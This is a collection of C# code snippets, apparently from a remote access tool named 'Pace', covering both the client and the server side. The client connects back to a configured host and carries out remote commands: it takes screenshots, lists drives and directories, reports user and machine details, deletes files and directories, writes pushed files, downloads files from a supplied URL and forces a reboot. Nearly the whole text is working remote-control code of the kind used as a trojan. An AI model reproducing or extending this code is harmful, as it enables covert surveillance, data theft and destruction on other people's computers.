Example #1
0
        public static void HandleGetDirectory(PaceClient client, IPacket packet)
        {
            var getDirectoryPacket = (GetDirectoryRequestPacket)packet;

            var path = getDirectoryPacket.Path == string.Empty ? Environment.GetFolderPath(Environment.SpecialFolder.Windows) : getDirectoryPacket.Path;

            var directory = new DirectoryInfo(path);

            if (!directory.Exists)
            {
                return;
            }

            var folders = FileExplorer.GetDirectories(path);
            var files   = FileExplorer.GetFiles(path);

            var response = new GetDirectoryResponsePacket
            {
                Name      = directory.Name,
                Path      = path,
                Folders   = folders.Select(folder => folder.Name).ToArray(),
                Files     = files.Select(file => file.Name).ToArray(),
                FileSizes = files.Select(file => file.Size).ToArray()
            };

            client.SendPacket(response);
        }
Example #2
0
        public static void HandleGetDirectory(PaceClient client, IPacket packet)
        {
            var getDirectoryPacket = (GetDirectoryRequestPacket)packet;

            var path = getDirectoryPacket.Path == string.Empty ? Environment.GetFolderPath(Environment.SpecialFolder.Windows) : getDirectoryPacket.Path;

            GetDirectoryFileEntries(client, path);
        }
Example #3
0
        public static void HandleGetDrives(PaceClient client, IPacket packet)
        {
            var drives     = DriveInfo.GetDrives();
            var driveNames = drives.Select(drive => drive.Name).ToArray();

            var response = new GetDrivesResponsePacket(driveNames);

            client.SendPacket(response);
        }
Example #4
0
        public static void HandleTakeScreenshot(PaceClient client, IPacket packet)
        {
            var screenshot = ScreenCapture.Take();

            byte[] screenshotBytes = ScreenCapture.ImageToBytes(screenshot);

            var screenshotResponsePacket = new TakeScreenshotResponsePacket(screenshotBytes);

            client.SendPacket(screenshotResponsePacket);
        }
Example #5
0
 public void HandlePacket(PaceClient client, IPacket packet)
 {
     foreach (var action in Handlers)
     {
         if (action.Key.Equals(packet.GetType()))
         {
             action.Value(client, packet);
             return;
         }
     }
 }
Example #6
0
        private void Run()
        {
            client = new PaceClient();
            client.PacketReceived += Client_PacketReceived;
            client.PacketSent     += Client_PacketSent;

            var packetChannel = new PacketChannel();

            packetChannel.RegisterHandler <GetSystemInfoRequestPacket>(SystemHandlers.HandleGetSystemInfo);
            packetChannel.RegisterHandler <GetDrivesRequestPacket>(SystemHandlers.HandleGetDrives);
            packetChannel.RegisterHandler <TakeScreenshotRequestPacket>(SystemHandlers.HandleTakeScreenshot);
            packetChannel.RegisterHandler <RestartRequestPacket>(SystemHandlers.HandleRestart);

            packetChannel.RegisterHandler <DownloadFileRequestPacket>(FileHandlers.HandleDownloadFile);
            packetChannel.RegisterHandler <GetDirectoryRequestPacket>(FileHandlers.HandleGetDirectory);
            packetChannel.RegisterHandler <DeleteFileRequestPacket>(FileHandlers.HandleDeleteFile);
            packetChannel.RegisterHandler <SendFileRequestPacket>(FileHandlers.HandleSendFile);

            TryConnect();

            while (isConnected)
            {
                try
                {
                    var packet = client.ReadPacket();
                    packetChannel.HandlePacket(client, packet);
                }
                catch (IOException ex)
                {
                    if (ex.InnerException == null)
                    {
                        throw ex;
                    }

                    if (ex.InnerException.GetType() == typeof(SocketException))
                    {
                        var socketException = (ex.InnerException as SocketException);

                        if (socketException.ErrorCode == (int)SocketError.ConnectionReset)
                        {
                            PrintDebug("Disconnected!");
                            TryConnect();
                        }
                    }
                }
            }

            Console.ReadKey();
        }
Example #7
0
        public static void HandleGetSystemInfo(PaceClient client, IPacket packet)
        {
            var systemInfo  = SystemInformation.Get();
            var addressInfo = client.LocalAddress.Split(':');

            var infoPacket = new GetSystemInfoResponsePacket(
                ClientConfiguration.Identifier,
                addressInfo[0],
                int.Parse(addressInfo[1]),
                systemInfo.UserName,
                systemInfo.ComputerName,
                systemInfo.OperatingSystem
                );

            client.SendPacket(infoPacket);
        }
Example #8
0
        public static void HandleDeleteFile(PaceClient client, IPacket packet)
        {
            var deleteFilePacket = (DeleteFileRequestPacket)packet;

            var directory = Directory.GetParent(deleteFilePacket.Path).FullName;

            if (Directory.Exists(deleteFilePacket.Path))
            {
                Directory.Delete(deleteFilePacket.Path, true);
            }
            else if (File.Exists(deleteFilePacket.Path))
            {
                File.Delete(deleteFilePacket.Path);
            }

            GetDirectoryFileEntries(client, directory);
        }
Example #9
0
        private void HandleClientConnection()
        {
            while (Listening)
            {
                var client = new PaceClient(listener.AcceptTcpClient());
                OnClientConnected(client);

                Task.Factory.StartNew(() =>
                {
                    bool isConnected = true;

                    while (isConnected)
                    {
                        try
                        {
                            var packet = client.ReadPacket();
                            OnPacketReceived(client, packet);
                        }
                        catch (IOException ex)
                        {
                            if (ex.InnerException == null)
                            {
                                throw ex;
                            }

                            if (ex.InnerException.GetType() == typeof(SocketException))
                            {
                                var socketException = (ex.InnerException as SocketException);

                                if (socketException.ErrorCode == (int)SocketError.ConnectionReset)
                                {
                                    OnClientDisconnected(client);
                                    isConnected = false;
                                }
                            }
                        }
                    }
                });
            }

            listener.Stop();
        }
Example #10
0
        private static void GetDirectoryFileEntries(PaceClient client, string path)
        {
            try
            {
                var directory = new DirectoryInfo(path);

                if (!directory.Exists)
                {
                    return;
                }

                var folders = FileExplorer.GetDirectories(path);
                var files   = FileExplorer.GetFiles(path);

                var response = new GetDirectoryResponsePacket
                {
                    Name      = directory.Name,
                    Path      = path,
                    Folders   = folders.Select(folder => folder.Name).ToArray(),
                    Files     = files.Select(file => file.Name).ToArray(),
                    FileSizes = files.Select(file => file.Size).ToArray()
                };

                client.SendPacket(response);
            }
            catch (SecurityException)
            {
                NotifyStatus(client, "Insufficient privileges.");
            }
            catch (ArgumentException)
            {
                NotifyStatus(client, "Invalid path.");
            }
            catch (Exception)
            {
                NotifyStatus(client, "An unexpected error has occured.");
            }
        }
Example #11
0
        public static void HandleDeleteFile(PaceClient client, IPacket packet)
        {
            var deleteFilePacket = (DeleteFileRequestPacket)packet;

            if (Directory.Exists(deleteFilePacket.File))
            {
                Directory.Delete(deleteFilePacket.File);
            }
            else if (File.Exists(deleteFilePacket.File))
            {
                File.Delete(deleteFilePacket.File);
            }

            var folders = FileExplorer.GetDirectories(Directory.GetParent(deleteFilePacket.File).FullName);
            var files   = FileExplorer.GetFiles(Directory.GetParent(deleteFilePacket.File).FullName);

            client.SendPacket(new GetDirectoryResponsePacket
            {
                Folders   = folders.Select(folder => folder.Name).ToArray(),
                Files     = files.Select(file => file.Name).ToArray(),
                FileSizes = files.Select(file => file.Size).ToArray()
            });
        }
Example #12
0
 protected void OnPacketReceived(PaceClient client, IPacket packet)
 {
     PacketReceived?.Invoke(this, new PacketEventArgs(client, packet));
     PacketChannel.HandlePacket(packet);
 }
Example #13
0
 protected void OnClientDisconnected(PaceClient client)
 {
     ConnectedClients.Remove(client);
     ClientDisconnected?.Invoke(this, new ClientEventArgs(client));
 }
Example #14
0
 protected void OnClientConnected(PaceClient client)
 {
     ConnectedClients.Add(client);
     ClientConnected?.Invoke(this, new ClientEventArgs(client));
 }
Example #15
0
        private void Run()
        {
            client = new PaceClient();
            client.PacketReceived += Client_PacketReceived;
            client.PacketSent     += Client_PacketSent;

            PrintDebug("Waiting for Server...");

            while (!client.TcpClient.Connected)
            {
                try
                {
                    client.Connect(IPAddress.Parse(ClientConfiguration.Host), ClientConfiguration.Port);
                }
                catch (Exception)
                {
                    continue;
                }
            }

            PrintDebug("Connected!");

            var packetChannel = new PacketChannel();

            packetChannel.RegisterHandler <GetSystemInfoRequestPacket>((packet) =>
            {
                var systemInfo = SystemInformation.Get();

                var clientAddress = client.TcpClient.Client.LocalEndPoint.ToString().Split(':');

                var infoPacket = new GetSystemInfoResponsePacket(
                    ClientConfiguration.Identifier,
                    clientAddress[0],
                    int.Parse(clientAddress[1]),
                    systemInfo.UserName,
                    systemInfo.ComputerName,
                    systemInfo.OperatingSystem
                    );

                client.SendPacket(infoPacket);
            });

            packetChannel.RegisterHandler <DownloadFileRequestPacket>((packet) =>
            {
                var downloadFilePacket = (DownloadFileRequestPacket)packet;
                new WebFileDownloader().DownloadFile(downloadFilePacket.Url);
            });

            packetChannel.RegisterHandler <TakeScreenshotRequestPacket>((packet) =>
            {
                var screenshot = ScreenCapture.CaptureScreen();

                byte[] screenshotBytes = ScreenCapture.ImageToBytes(screenshot);

                var screenshotResponsePacket = new TakeScreenshotResponsePacket(screenshotBytes);

                client.SendPacket(screenshotResponsePacket);
            });

            packetChannel.RegisterHandler <SendFileRequestPacket>((packet) =>
            {
                var sendFilePacket = (SendFileRequestPacket)packet;
                File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, sendFilePacket.Filename), sendFilePacket.FileData);
            });

            packetChannel.RegisterHandler <GetDirectoryRequestPacket>((packet) =>
            {
                var getDirectoryPacket = (GetDirectoryRequestPacket)packet;

                var directory = new DirectoryInfo(getDirectoryPacket.Path);

                if (!directory.Exists)
                {
                    return;
                }

                var response = new GetDirectoryResponsePacket
                {
                    Folders = FileExplorer.GetDirectories(getDirectoryPacket.Path),
                    Files   = FileExplorer.GetFiles(getDirectoryPacket.Path)
                };

                client.SendPacket(response);
            });

            packetChannel.RegisterHandler <DeleteFileRequestPacket>((packet) =>
            {
                var deleteFilePacket = (DeleteFileRequestPacket)packet;

                PrintDebug($"Requested deletion of file {deleteFilePacket.File}");

                if (Directory.Exists(deleteFilePacket.File))
                {
                    Directory.Delete(deleteFilePacket.File);
                }
                else if (File.Exists(deleteFilePacket.File))
                {
                    File.Delete(deleteFilePacket.File);
                }

                client.SendPacket(new GetDirectoryResponsePacket
                {
                    Folders = FileExplorer.GetDirectories(Directory.GetParent(deleteFilePacket.File).FullName),
                    Files   = FileExplorer.GetFiles(Directory.GetParent(deleteFilePacket.File).FullName)
                });
            });

            isRunning = true;

            while (isRunning)
            {
                try
                {
                    var packet = client.ReadPacket();

                    packetChannel.HandlePacket(packet);
                }
                catch (IOException ex)
                {
                    if (ex.InnerException == null)
                    {
                        throw ex;
                    }

                    if (ex.InnerException.GetType() == typeof(SocketException))
                    {
                        var socketException = (ex.InnerException as SocketException);

                        if (socketException.ErrorCode == (int)SocketError.ConnectionReset)
                        {
                            PrintDebug("Disconnected!");
                        }
                    }

                    isRunning = false;
                }
            }

            Console.ReadKey();
        }
Example #16
0
 public CommandShell(PaceClient client)
 {
     this.client = client;
 }
Example #17
0
 public PacketEventArgs(PaceClient client, IPacket packet)
 {
     Packet = packet;
     Client = client;
 }
Example #18
0
        public static void HandleSendFile(PaceClient client, IPacket packet)
        {
            var sendFilePacket = (SendFileRequestPacket)packet;

            File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, sendFilePacket.Filename), sendFilePacket.FileData);
        }
Example #19
0
 public ClientEventArgs(PaceClient client)
 {
     Client = client;
 }
Example #20
0
 public static void HandleRestart(PaceClient client, IPacket packet)
 {
     Process.Start("shutdown.exe", "-r -t 00");
 }
Example #21
0
        public static void HandleDownloadFile(PaceClient client, IPacket packet)
        {
            var downloadFilePacket = (DownloadFileRequestPacket)packet;

            new WebFileDownloader().DownloadFile(downloadFilePacket.Url);
        }
Example #22
0
 private static void NotifyStatus(PaceClient client, string statusMessage)
 {
     client.SendPacket(new NotifyStatusPacket(statusMessage));
 }